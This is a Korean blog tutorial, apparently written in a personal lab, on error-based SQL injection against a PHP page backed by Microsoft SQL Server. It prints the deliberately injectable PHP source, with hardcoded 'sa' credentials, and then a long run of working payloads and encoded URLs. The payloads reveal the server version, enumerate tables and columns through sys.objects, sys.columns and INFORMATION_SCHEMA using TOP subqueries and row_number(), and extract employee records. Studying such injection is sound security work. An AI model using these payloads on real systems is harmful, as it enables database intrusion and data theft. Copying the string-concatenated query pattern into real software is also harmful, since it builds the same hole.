Self-Improvement

MSSQL Error SQLi (단일 행, 단일 열, Top, row_number() over(), sys.objects, sys.columns) 본문

SQLi

MSSQL Error SQLi (단일 행, 단일 열, Top, row_number() over(), sys.objects, sys.columns)

JoGeun 2020. 4. 16. 16:49

소스코드 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
 
if(!$link=mssql_connect('mssql''sa''pentest1!')){
        echo 'Could not connect to mssql';
        exit;
}
 
if(!mssql_select_db('northwind',$link)) {
        echo 'Could not select database';
        exit;
}
 
if(!isset($_GET['empid'])) {
$_empid=1;
else {
$_empid=$_GET['empid'];
}
 
$sql='SELECT * FROM Employees WHERE EmployeeID='.$_empid;
$result=mssql_query($sql$link);
 
if(!$result){
        echo "DB Error, could not query the database\n";
        echo 'MSSQL Error: '.mssql_Error();
        exit;
}
 
$row = mssql_fetch_assoc($result);
print "<b>직원정보</b><br><br>";
print "<table border=1 cellpadding=5 cellspacing=0>\n";
print "\t<tr>\n\t\t<td>직원번호</td><td>".str_pad($row['EmployeeID'],8,"0",STR_PAD_LEFT)."</td>\n";
print "\t<tr>\n\t\t<td>이름</td><td>".$row['FirstName']."</td></tr>\n";
print "\t<tr>\n\t\t<td>직급</td><td>".$row['Title']."</td>\n";
print "\t<tr>\n\t\t<td>입사일자</td><td>".$row['HireDate']."</td>\n\t</tr>\n";
print "</table>\n";
 
mssql_close($link);
?>
 
cs

- http://192.168.1.46/mssql_id.php?empid=1

 

싱글쿼터를 주입하여 에러가 발생하는지 확인

- http://192.168.1.46/mssql_id.php?empid=1%27

 

해당 부분에서는 단 하나의 정보만 출력이 이루어 지기 때문에 UNION SQLi가 되지 않는다.

UNION SQLi 시도한 결과 하나의 정보만(단일 행) 출력이 이루어짐으로 용도에 맞지 않음

1 and 1=2 union all select 1,2,name,4,5,null,null,null,null,null,null,null,null,null,null,null,null,null from sys.objects where type=0x55

- http://192.168.1.46/mssql_id.php?empid=1%20and%201=2%20union%20all%20select%201,2,name,4,5,null,null,null,null,null,null,null,null,null,null,null,null,null%20from%20sys.objects%20where%20type=0x55

 

데이터베이스의 버전을 알아내본다

(select 1+@@version)

1 or 1=(select @@version)

(select @@version)

- http://192.168.1.46/mssql_id.php?empid=(select%201%2b@@version)

- http://192.168.1.46/mssql_id.php?empid=1%20or%201=(select%20@@version)

- http://192.168.1.46/mssql_id.php?empid=(select%20@@version)

 

Error SQLi 방식으로 테이블과 칼럼을 각각 추출하는데 이 때는 단일 행임으로 TOP 함수를 사용하여 하나의 행만 출력을 해준다.

1 or 1=(select top 1 name from sys.objects where type=0x55)

- http://192.168.1.46/mssql_id.php?empid=1%20or%201=(select%20top%201%20name%20from%20sys.objects%20where%20type=0x55)

다음 행의 데이터를 얻기 위해서는 where type=0x55 and not in ('CustomerDemographics')을 해주면서 해야되지만 길이제한에 걸리며 비효율적임으로 다른 방식을 사용해준다.

서브 쿼리를 이용하여 내부의 select 문에서 하나의 칼럼을 기준으로 오름차순으로 구해준뒤 그 값을 다시 내림차순으로 하여 첫번째 행을 출력해주는 방식이다. 내부의 top <숫자>를 변경해주는 것이다.

[테이블]

1 or 1=(select top 1 name from (select top 5 name from sys.objects where type=0x55 order by name)T order by name desc)

- http://192.168.1.46/mssql_id.php?empid=1 or 1=(select top 1 name from (select top 5 name from sys.objects where type=0x55 order by name)T order by name desc)

[칼럼]

1 or 1=(select top 1 name from (select top 1 name from sys.columns where object_id=1269579561 order by name)T order by name desc)

- http://192.168.1.46/mssql_id.php?empid=1 or 1=(select top 1 name from (select top 1 name from sys.columns where object_id=1269579561 order by name)T order by name desc)

 

[데이터]

1 or 1=(select top 1 EmployeeID,City from (select top 1 EmployeeID,City from Employees order by EmployeeID)T order by EmployeeID desc)

- http://192.168.1.46/mssql_id.php?empid=1 or 1=(select top 1 EmployeeID,City from (select top 1 EmployeeID,City from Employees order by EmployeeID)T order by EmployeeID desc)

 


하지만 이방식은 블라인드 공격 기법에서는 상관 없지만 Error 공격 기법에서는 SQL Server 2005 버전부터 강화된 보안 기능으로 실습 환경에서는 똑같은 데이터만 출력이 이루어진다.  이 때는 row_number() 함수를 사용해주면 가능하다.

 

중요한 점 :

해당 SQLi문은 항상 참을 만들어냄으로 거짓을 만들어주게끔 앞에 형식을 추가한다

항상 참으로 나오게 된다.

 

ex) where절 일시엔 1 or 1=(~~)

ex) (select name from sys.objects where 1=(~~~))


rowid로 지정한 값을 바꿔주면 테이블 데이터가 추출이 된다.

1 or 1=(select table_name from (select row_number() over(order by table_name desc)as rowid, table_name from INFORMATION_SCHEMA.tables where table_type='base table')T where rowid=9)

- http://192.168.1.46/mssql_id.php?empid=1%20or%201=(select%20table_name%20from%20(select%20row_number()%20over(order%20by%20table_name%20desc)as%20rowid,%20table_name%20from%20INFORMATION_SCHEMA.tables%20where%20table_type=%27base%20table%27)T%20where%20rowid=9)

information_schema.tables or sys.objects

1 or 1=(select name from (select row_number() over(order by name desc)as rowid, name from sys.objects where type=0x55)T where rowid=2)

- http://192.168.1.46/mssql_id.php?empid=1%20or%201=(select%20name%20from%20(select%20row_number()%20over(order%20by%20name%20desc)as%20rowid,%20name%20from%20sys.objects%20where%20type=0x55)T%20where%20rowid=2)

 

이번에는 칼럼 데이터를 추출해본다.

1 or 1=(select column_name from (select row_number() over(order by column_name desc)as rowid, column_name from INFORMATION_SCHEMA.COLUMNS where table_name='Employees')T where rowid=14)

- http://192.168.1.46/mssql_id.php?empid=1%20or%201=(select%20column_name%20from%20(select%20row_number()%20over(order%20by%20column_name%20desc)as%20rowid,%20column_name%20from%20INFORMATION_SCHEMA.COLUMNS%20where%20table_name=%27Employees%27)T%20where%20rowid=14)

 

EmployeeID의 데이터를 추출해본다.

1 or 1=(select concat_ws(0x2c , title, address,homephone) from (select row_number() over(order by EmployeeID)as rowid,title, address,homephone from Employees)T where rowid=1)

- http://192.168.1.46/mssql_id.php?empid=1%20or%201=(select%20concat_ws(0x2c%20,%20title,%20address,homephone)%20from%20(select%20row_number()%20over(order%20by%20EmployeeID)as%20rowid,title,%20address,homephone%20from%20Employees)T%20where%20rowid=1)

concat_ws 함수를 이용하여 여러개의 데이터를 추출할 수 있다.